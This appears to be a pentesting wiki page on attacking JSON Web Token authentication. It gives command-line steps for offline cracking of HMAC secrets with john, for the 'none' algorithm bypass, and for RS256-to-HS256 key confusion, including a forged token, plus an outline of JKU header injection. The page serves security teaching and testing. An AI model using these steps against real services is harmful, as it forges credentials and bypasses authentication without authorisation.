JWT
JSON Web Tokens
Methodology
Introduction
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.
A JSON Web Token is a token that is used to authorize requests to a webserver. They are sent as a cookie in HTTP(S) requests.
Their structure consists of a header, data and a signature, all base64'd and seperated by a dot (.).
Base64(Header).Base64(Data).Base64(Signature)
We can easily decode these tokens using https://jwt.io/
Pentesting
Is token required?
Remove the token from the request and resend it. Is the page the same?
No. Good. The token was being used to get that page.
Yes. Maybe the token isn't the authorization used for this app. Check for other headers, cookies or POST data that might be persisting the session. You may still be able to something with the token, so keep going.
Is token checked?
Try changing the data without changing the signature and see what happens.
If an error message occurs, the signature is being checked. Read any verbose error info that might leak something sensitive.
If the page returned is different, the signature is being checked.
If the page is the same then the signature is not being checked.
Check if there are some reflected fields (Name, profile picture, etc) and see if they change.
You can change the token, by keeping the header and signature, decoding the payload, change it, and encode it again.
Examples
Challenges
Origin of token
Check where your token is being created. The token should always come from the server and never be created on the client.
Created on client? The key is accessible to you. Find it.
Created on server? Keep going.
Cracking HMAC secret
HMAC signed keys (algs HS256/HS384/HS512) use symmetric encryption, meaning the key that signs the token is also used to verify it. Verifying signatures is self-contained, which means we can do it offline. Thus HMAC secrets can be cracked offline using john.
echo "<TOKEN>" > jwt_token
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA<256|384|512> jwt_token
Try using different wordlists, sometimes CeWLing the site can also make for good wordlists
Examples
Challenges
None algorithm attack - CVE-2015-9235
This attack targets an option in the JWT standard for producing unsigned keys. The output literally omits any signature portion after the second dot. Due to weaknesses in some libraries or server configurations a service may read our tampered request, see that it does not need to be signed, and then just accept it on trust.
Change the algorithm to 'none' and remove the signature (header.payload.). Check if the page remains the same:
Error? The none algoritm is probably disabled.
No change in page? Good! Try changing the payload now.
Try the following variants:
none
None
NONE
nOnE
Examples
Challenges
RS256 to HS256 Key Confusion Attack - CVE-2016-5431
This attack plays around with the fact that some libraries use the same variable name for the secret that signs/verifies the HMAC symmetric encryption, and the secret that contains the Public Key used for verifying an RSA-signed token. By tweaking the algorithm to an HMAC variant (HS256/HS384/HS512) and signing it using the publicly available Public Key we can trick the service into verifying the HMAC token using the hard-coded Public Key in the secret variable.
Here are the steps to edit an RS256 JWT token into an HS256
Convert our public key (key.pem) into HEX with this command.
$ cat key.pem | xxd -p | tr -d "\\n" 2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
Convert signature (Hex to "base64 URL")
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
Add signature to edited payload
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
Examples
JWKS Injection / JWKS Spoofing / JKU Header Injection
The JKU (JWK Set URL) Header Parameter refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS.
Below an example of an header and the JWKS (JSON Web Key Store) it points towards.
"jku": "http://url.com"
This JWKS file will be used to verify the token signature, therefor, if we can control the JKU header, we control the JWKS file and can make the server verify the token.
Here are the steps to exploit this vulnerability:
Create a private key
For example using mkjwk.org. Check out this video at 3:25 for a practical example of this site.
Host the public key in a JWKS on a webserver
This file needs to be statically available. Check out this video at 4:07 for a practical example of how to host it.
Create the malicious token containing the JKU, pointing to your JWKS, and sign it with your private key
This can be done in jwt.io by first converting the public and private key to the PEM format using for example 8gwifi.org/jwkconvertfunctions.jsp. Check out this video at 3:47 for a practical example of how to sign a token.
Examples
KID Header Injection
X5U Header Injection
Resources
Last updated
Was this helpful?